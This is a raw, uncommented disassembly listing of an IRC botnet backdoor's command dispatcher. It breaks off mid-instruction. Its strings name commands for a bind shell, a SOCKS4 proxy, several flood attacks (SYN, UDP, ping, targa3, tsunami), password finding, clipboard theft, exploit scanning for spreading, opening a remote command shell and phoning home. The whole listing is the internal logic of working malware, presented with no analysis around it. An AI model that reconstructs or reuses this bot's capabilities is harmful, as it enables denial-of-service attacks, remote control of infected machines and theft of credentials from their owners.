asc_42CDC0 ; " " push ebx call sub_41CAD4 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40292F mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401F75 add ecx, 3 mov [eax], ecx loc_402961: ; CODE XREF: sub_401ACD+C9Dj mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095F2 push edi push offset aRn ; "rn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095F2 push edi push offset aDi3 ; "di3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4049B3 push edi push offset aDi3 ; "di3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4049B3 push edi push offset aLogout ; "logout" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404911 push edi push offset aLo ; "lo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404911 push edi push offset aVersion ; "version" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404902 push edi push offset aVer ; "ver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404902 push edi push offset aRulez ; "rulez" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048F8 push edi push offset aRz ; "rz" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048F8 push edi push offset aSpeedtest ; "speedtest" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048DF push edi push offset aSt ; "st" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048DF push edi push offset aSecure ; "secure" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aSec ; "sec" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aUnsecure ; "unsecure" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aUnsec ; "unsec" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aBindshell ; "bindshell" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4046DB push edi push offset aBd ; "bd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4046DB push edi push offset aBindshellstop ; "bindshellstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402B0E push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42CA08 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402B0E: ; CODE XREF: sub_401ACD+1027j push edi push offset aSocks4 ; "socks4" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045B9 push edi push offset aS4 ; "s4" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045B9 push edi push offset aSocks4stop ; "socks4stop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402B61 push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42C9E0 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402B61: ; CODE XREF: sub_401ACD+107Aj push edi push offset aRloginstop ; "rloginstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402B8A push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42C9C4 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402B8A: ; CODE XREF: sub_401ACD+10A3j push edi push offset aHttpstop ; "httpstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402BB3 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42C9A8 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402BB3: ; CODE XREF: sub_401ACD+10CCj push edi push offset aLogstop ; "logstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402BDC push [ebp+esi+var_8C] push 25h push offset dword_42C994 push offset dword_42C988 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402BDC: ; CODE XREF: sub_401ACD+10F5j push edi push offset aRedirectstop ; "redirectstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C05 push [ebp+esi+var_8C] push 18h push offset dword_42C968 push offset dword_42C958 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C05: ; CODE XREF: sub_401ACD+111Ej push edi push offset dword_42C94C call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C2E push [ebp+esi+var_8C] push 0Dh push offset dword_42C940 push offset dword_42C934 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C2E: ; CODE XREF: sub_401ACD+1147j push edi push offset aSynstop ; "synstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C57 push [ebp+esi+var_8C] push 0Eh push offset dword_42C920 push offset dword_42C914 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C57: ; CODE XREF: sub_401ACD+1170j push edi push offset aSkysynstop ; "skysynstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C80 push [ebp+esi+var_8C] push 10h push offset dword_42C8F8 push offset dword_42C8E8 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C80: ; CODE XREF: sub_401ACD+1199j push edi push offset aTarga3stop ; "targa3stop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402CA9 push [ebp+esi+var_8C] push 11h push offset dword_42C8CC push offset dword_42C8BC jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402CA9: ; CODE XREF: sub_401ACD+11C2j push edi push offset aWonkstop ; "wonkstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402CD2 push [ebp+esi+var_8C] push 12h push offset dword_42C8A4 push offset dword_42C898 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402CD2: ; CODE XREF: sub_401ACD+11EBj push edi push offset aPacketstop ; "packetstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402E28 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42C940 push offset dword_42C934 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 0Eh push offset dword_42C920 push offset dword_42C914 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 17h push offset dword_42C880 push offset dword_42C874 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 16h push offset dword_42C868 push offset dword_42C85C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 11h push offset dword_42C8CC push offset dword_42C8BC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 12h push offset dword_42C8A4 push offset dword_42C898 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 0Fh push offset dword_42C84C push offset dword_42C83C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 13h push offset dword_42C82C push offset dword_42C81C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 10h push offset dword_42C8F8 push offset dword_42C8E8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push ebx push [ebp+var_4] push offset unk_42C7E8 push [ebp+var_88] push edi call sub_409869 add esp, 34h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_402E28: ; CODE XREF: sub_401ACD+1214j push edi push offset aTsunamistop ; "tsunamistop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402E51 push [ebp+esi+var_8C] push 0Fh push offset dword_42C84C push offset dword_42C83C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402E51: ; CODE XREF: sub_401ACD+136Aj push edi push offset aWisdomstop ; "wisdomstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402E7A push [ebp+esi+var_8C] push 13h push offset dword_42C82C push offset dword_42C81C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402E7A: ; CODE XREF: sub_401ACD+1393j push edi push offset aUdpstop ; "udpstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402EA3 push [ebp+esi+var_8C] push 17h push offset dword_42C880 push offset dword_42C874 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402EA3: ; CODE XREF: sub_401ACD+13BCj push edi push offset aPingstop ; "pingstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402ECC push [ebp+esi+var_8C] push 16h push offset dword_42C868 push offset dword_42C85C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402ECC: ; CODE XREF: sub_401ACD+13E5j push edi push offset aTftpstop ; "tftpstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402EF5 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42C7A0 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402EF5: ; CODE XREF: sub_401ACD+140Ej push edi push offset aFindfilestop ; "findfilestop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045A1 push edi push offset aFfstop ; "ffstop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045A1 push edi push offset aProcsstop ; "procsstop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404589 push edi push offset aPsstop ; "psstop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404589 push edi push offset aClonestop ; "clonestop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402F72 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42C750 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402F72: ; CODE XREF: sub_401ACD+148Bj push edi push offset aSecurestop ; "securestop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402F9B push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42C72C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402F9B: ; CODE XREF: sub_401ACD+14B4j push edi push offset aScanstop ; "scanstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402FC4 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42C70C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402FC4: ; CODE XREF: sub_401ACD+14DDj push edi push offset aScanstats ; "scanstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404573 push edi push offset aStats ; "stats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404573 push edi push offset aTransferstats ; "transferstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40455D push edi push offset aTrstats ; "trstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40455D push edi push offset aConnectbacksta ; "connectbackstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404547 push edi push offset aCbstats ; "cbstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404547 push edi push offset aExploitlist ; "exploitlist" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404531 push edi push offset aExplist ; "explist" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404531 push edi push offset aReconnect ; "reconnect" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404512 push edi push offset aR ; "r" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404512 push edi push offset aDisconnect ; "disconnect" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044F0 push edi push offset aDc ; "dc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044F0 push edi push offset aQuit_0 ; "quit" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044A8 push edi push offset aQ ; "q" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044A8 push edi push offset aStatus ; "status" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404494 push edi push offset aS_0 ; "s" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404494 push edi push offset aId ; "id" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40445D push edi push offset aI ; "i" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40445D push edi push offset aR3start ; "r3start" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_403190 call sub_418884 test eax, eax mov eax, offset unk_42C64C jnz short loc_403162 mov eax, offset unk_42C628 loc_403162: ; CODE XREF: sub_401ACD+168Ej push eax lea eax, [ebp+var_2C4] push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 1Ch jmp loc_4082DE ; --------------------------------------------------------------------------- loc_403190: ; CODE XREF: sub_401ACD+1680j push edi push offset aThreads ; "threads" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40437E push edi push offset aT ; "t" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40437E push edi push offset aAliases ; "aliases" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40435B push edi push offset aAl ; "al" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40435B push edi push offset aLog ; "log" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404268 push edi push offset aLg ; "lg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404268 push edi push offset aClearlog ; "clearlog" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40424C push edi push offset aClg ; "clg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40424C push edi push offset aNetinfo ; "netinfo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404212 push edi push offset aNi ; "ni" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404212 push edi push offset aSysinfo ; "sysinfo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041E7 push edi push offset aSi ; "si" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041E7 push edi push offset aKosomaky4d ; "KOSOMAKY4D" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041AD push edi push offset aKosomaky4d ; "KOSOMAKY4D" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041AD push edi push offset aProcs ; "procs" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40408D push edi push offset aPs ; "ps" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40408D push edi push offset aUptime ; "uptime" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404005 push edi push offset aUp ; "up" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404005 push edi push offset aDriveinfo ; "driveinfo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FE8 push edi push offset aDrv ; "drv" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FE8 push edi push offset aTestdlls ; "testdlls" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FCF push edi push offset aDll ; "dll" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FCF push edi push offset aOpencmd ; "opencmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F5B push edi push offset aOcmd ; "ocmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F5B push edi push offset aCmdstop ; "cmdstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4033B1 push [ebp+esi+var_8C] push 0Ah push offset dword_42C574 push offset dword_42C568 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_4033B1: ; CODE XREF: sub_401ACD+18CAj push edi push offset dword_42C564 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4034C7 cmp [ebp+var_8], ebx jnz short loc_4033E5 push ebx push [ebp+var_4] push offset dword_42C550 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4033E5: ; CODE XREF: sub_401ACD+18FCj mov eax, [ebp+arg_18] xor edi, edi mov [ebp+arg_18], eax jmp short loc_4033F2 ; --------------------------------------------------------------------------- loc_4033EF: ; CODE XREF: sub_401ACD+196Cj mov eax, [ebp+arg_18] loc_4033F2: ; CODE XREF: sub_401ACD+1920j cmp [eax], bl jz short loc_4033F9 inc eax jmp short loc_4033FE ; --------------------------------------------------------------------------- loc_4033F9: ; CODE XREF: sub_401ACD+1927j mov eax, offset aEmpty ; "<Empty>" loc_4033FE: ; CODE XREF: sub_401ACD+192Aj push eax push edi lea eax, [ebp+var_2C4] push offset aD_S ; "%d. %s" push eax call sub_41C266 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add [ebp+arg_18], 80h add esp, 24h inc edi cmp edi, 3 jl short loc_4033EF push offset unk_42C520 call sub_415D38 pop ecx loc_403446: ; CODE XREF: sub_401ACD+1BFDj ; sub_401ACD+2EFAj mov edi, [ebp+esi+var_8C] cmp edi, ebx mov [ebp+arg_20], edi jz loc_401F75 push [ebp+arg_8] push offset aSpoof ; "spoof" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_404AAB push offset aOff ; "off" push edi call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4049D9 lea eax, [ebp+var_2C4] push offset unk_42C4EC push eax mov dword_4CF180, ebx call sub_41C266 pop ecx pop ecx loc_40349D: ; CODE XREF: sub_401ACD+2FD9j cmp [ebp+var_8], ebx jnz loc_409644 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 loc_4034BF: ; CODE XREF: sub_401ACD+7032j add esp, 14h jmp loc_409644 ; --------------------------------------------------------------------------- loc_4034C7: ; CODE XREF: sub_401ACD+18F3j push edi push offset aGetclip ; "getclip" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F1A push edi push offset aGc ; "gc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F1A push edi push offset aFlusharp ; "flusharp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F03 push edi push offset aFarp ; "farp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F03 push edi push offset aFlushdns ; "flushdns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403ECB push edi push offset aFdns ; "fdns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403ECB push edi push offset aCurrentip ; "currentip" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403E91 push edi push offset aCip ; "cip" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403E91 push edi push offset aRloginserver ; "rloginserver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403D56 push edi push offset aRlogin ; "rlogin" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403D56 push edi push offset aHttpserver ; "httpserver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403BCA push edi push offset aHttp ; "http" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403BCA push edi push offset aTftpserver ; "tftpserver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403A90 push edi push offset aTftp ; "tftp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403A90 push edi push offset aShitycrash ; "shitycrash" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_403653 lea eax, [ebp+var_2C4] push offset unk_42C444 push eax call sub_41C266 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403632 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_403632: ; CODE XREF: sub_401ACD+1B47j lea eax, [ebp+var_2C4] push eax call sub_415D38 mov [esp+10h+var_10], offset aShitycrash ; "shitycrash" push [ebp+esi+var_7C] call sub_41CA50 jmp loc_4097D0 ; --------------------------------------------------------------------------- loc_403653: ; CODE XREF: sub_401ACD+1B2Fj push edi push offset aAsc ; "asc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403789 push edi push offset aAs ; "as" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403789 push edi push offset aPhonehome ; "phonehome" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4036AA lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI Are You T"... push [ebp+arg_4] call sub_409823 loc_4036A2: ; CODE XREF: sub_401ACD+47Bj add esp, 0Ch jmp loc_401F75 ; --------------------------------------------------------------------------- loc_4036AA: ; CODE XREF: sub_401ACD+1BBFj push edi push offset aFindpass ; "findpass" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_4036D0 push edi push offset aFp ; "fp" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_403446 loc_4036D0: ; CODE XREF: sub_401ACD+1BECj push [ebp+var_88] lea eax, [ebp+var_FEC] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_FF0], eax mov eax, [ebp+var_4] mov [ebp+var_F68], eax mov eax, [ebp+var_8] mov [ebp+var_F64], eax push offset unk_42C3C4 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B3BA add esp, 18h mov [ebp+var_F6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FF0] push ebx push eax push offset sub_4172C1 push ebx push ebx nop call near ptr 26A06F9h mov ecx, [ebp+var_F6C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403778 loc_403762: ; CODE XREF: sub_401ACD+1CA9j cmp [ebp+var_F60], ebx jnz loc_4082DE push 32h call near ptr 26A068Bh nop jmp short loc_403762 ; --------------------------------------------------------------------------- loc_403778: ; CODE XREF: sub_401ACD+1C93j nop call near ptr 26B0669h push eax push offset unk_42C388 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_403789: ; CODE XREF: sub_401ACD+1B95j ; sub_401ACD+1BAAj mov al, byte_4319DA mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_4319DA jz loc_401F75 mov ecx, edx loc_4037A0: ; CODE XREF: sub_401ACD+1CDBj inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037A0 cmp al, bl jz loc_401F75 mov [ebp+arg_18], edx loc_4037B5: ; CODE XREF: sub_401ACD+1FAEj push 0Bh call sub_40B602 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] mov edx, eax mov eax, 320h add edx, ecx cmp edx, eax jle short loc_403808 push ecx lea eax, [ebp+var_2C4] push offset dword_42C34C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h jmp loc_403A72 ; --------------------------------------------------------------------------- loc_403808: ; CODE XREF: sub_401ACD+1D06j or [ebp+var_730], 0FFFFFFFFh cmp dword_4317F8, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], eax mov [ebp+arg_0], ebx jz short loc_403875 mov eax, [ebp+arg_18] mov esi, offset dword_4317F8 lea edi, [eax-0Ah] loc_40383F: ; CODE XREF: sub_401ACD+1D8Aj lea eax, [esi-28h] push edi push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_40385B inc [ebp+arg_0] add esi, 40h cmp [esi], ebx jnz short loc_40383F jmp short loc_403875 ; --------------------------------------------------------------------------- loc_40385B: ; CODE XREF: sub_401ACD+1D80j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_4317F8[ecx] mov [ebp+var_74C], ecx loc_403875: ; CODE XREF: sub_401ACD+1D65j ; sub_401ACD+1D8Cj cmp [ebp+var_74C], ebx jz loc_403A86 push 10h lea eax, [ebp+var_2D4] pop esi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], esi push [ebp+arg_4] call dword_4CB978 mov al, [ebp+var_8FF] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CBA60 push eax lea eax, [ebp+var_860] push eax call sub_41BFD0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov esi, eax lea eax, [ebp+var_860] push eax call sub_41C820 add esp, 14h cmp esi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40391D loc_4038FB: ; CODE XREF: sub_401ACD+1E4Ej cmp eax, ebx jz short loc_40391D mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41C820 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, esi jl short loc_4038FB loc_40391D: ; CODE XREF: sub_401ACD+1E2Cj ; sub_401ACD+1E30j mov eax, [ebp+arg_4] push [ebp+var_88] mov esi, [ebp+var_4] mov edi, [ebp+var_8] mov [ebp+var_750], eax lea eax, [ebp+var_850] push 80h push eax mov [ebp+var_720], 1 mov [ebp+var_728], esi mov [ebp+var_724], edi call sub_41C360 push offset byte_43DB88 push offset aF ; "#f" call sub_41CA50 add esp, 14h test eax, eax jz short loc_40398A push offset aF ; "#f" lea eax, [ebp+var_7D0] push 80h push eax call sub_41C360 add esp, 0Ch jmp short loc_403990 ; --------------------------------------------------------------------------- loc_40398A: ; CODE XREF: sub_401ACD+1EA0j mov [ebp+var_7D0], bl loc_403990: ; CODE XREF: sub_401ACD+1EBBj cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039A2 mov eax, offset aSequential ; "Sequential" loc_4039A2: ; CODE XREF: sub_401ACD+1ECEj push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C2CC push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C600 push ebx push ebx nop call near ptr 26A06F9h mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403A2C loc_403A1A: ; CODE XREF: sub_401ACD+1F5Dj cmp [ebp+var_71C], ebx jnz short loc_403A47 push 32h call near ptr 26A068Bh nop jmp short loc_403A1A ; --------------------------------------------------------------------------- loc_403A2C: ; CODE XREF: sub_401ACD+1F4Bj nop call near ptr 26B0669h push eax lea eax, [ebp+var_2C4] push offset unk_42C290 push eax call sub_41C266 add esp, 0Ch loc_403A47: ; CODE XREF: sub_401ACD+1F53j cmp edi, ebx jnz short loc_403A65 push ebx lea eax, [ebp+var_2C4] push esi push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_403A65: ; CODE XREF: sub_401ACD+1F7Cj lea eax, [ebp+var_2C4] push eax call sub_415D38 pop ecx loc_403A72: ; CODE XREF: sub_401ACD+1D36j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_4037B5 jmp loc_401F75 ; --------------------------------------------------------------------------- loc_403A86: ; CODE XREF: sub_401ACD+1DAEj push offset unk_42C258 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_403A90: ; CODE XREF: sub_401ACD+1B05j ; sub_401ACD+1B1Aj push 5 call sub_40B602 test eax, eax pop ecx jle short loc_403AA6 push offset unk_42C238 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_403AA6: ; CODE XREF: sub_401ACD+1FCDj mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403AC9 push eax mov edi, 104h lea eax, [ebp+var_2D54] push edi push eax call sub_41C360 add esp, 0Ch jmp short loc_403ADD ; --------------------------------------------------------------------------- loc_403AC9: ; CODE XREF: sub_401ACD+1FE2j mov edi, 104h lea eax, [ebp+var_2D54] push edi push eax push ebx nop call near ptr 2690000h loc_403ADD: ; CODE XREF: sub_401ACD+1FFAj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403AED mov esi, offset byte_429108 loc_403AED: ; CODE XREF: sub_401ACD+2019j push esi lea eax, [ebp+var_2C50] push edi push eax call sub_41C360 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B44], eax mov eax, [ebp+arg_4] mov [ebp+var_2B48], ebx mov [ebp+var_2D58], eax lea eax, [ebp+var_2B40] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2AC0], eax mov eax, [ebp+var_8] mov [ebp+var_2ABC], eax lea eax, [ebp+var_2D54] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B44] push offset unk_42C204 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_2B4C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D58] push ebx push eax push offset byte_412197 push ebx push ebx call near ptr 26A06F9h nop mov ecx, [ebp+var_2B4C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403BB9 loc_403BA3: ; CODE XREF: sub_401ACD+20EAj cmp [ebp+var_2AB8], ebx jnz loc_4081AD push 32h nop call near ptr 26A068Bh jmp short loc_403BA3 ; --------------------------------------------------------------------------- loc_403BB9: ; CODE XREF: sub_401ACD+20D4j nop call near ptr 26B0669h push eax push offset unk_42C1C8 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_403BCA: ; CODE XREF: sub_401ACD+1ADBj ; sub_401ACD+1AF0j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403BE9 push edi call sub_41C159 test eax, eax pop ecx jz short loc_403BE9 push edi call sub_41C159 pop ecx jmp short loc_403BEE ; --------------------------------------------------------------------------- loc_403BE9: ; CODE XREF: sub_401ACD+2106j ; sub_401ACD+2111j mov eax, dword_42907C loc_403BEE: ; CODE XREF: sub_401ACD+211Aj mov esi, [ebp+esi+var_88] mov [ebp+var_36CC], eax xor eax, eax cmp [ebp+var_8FC], 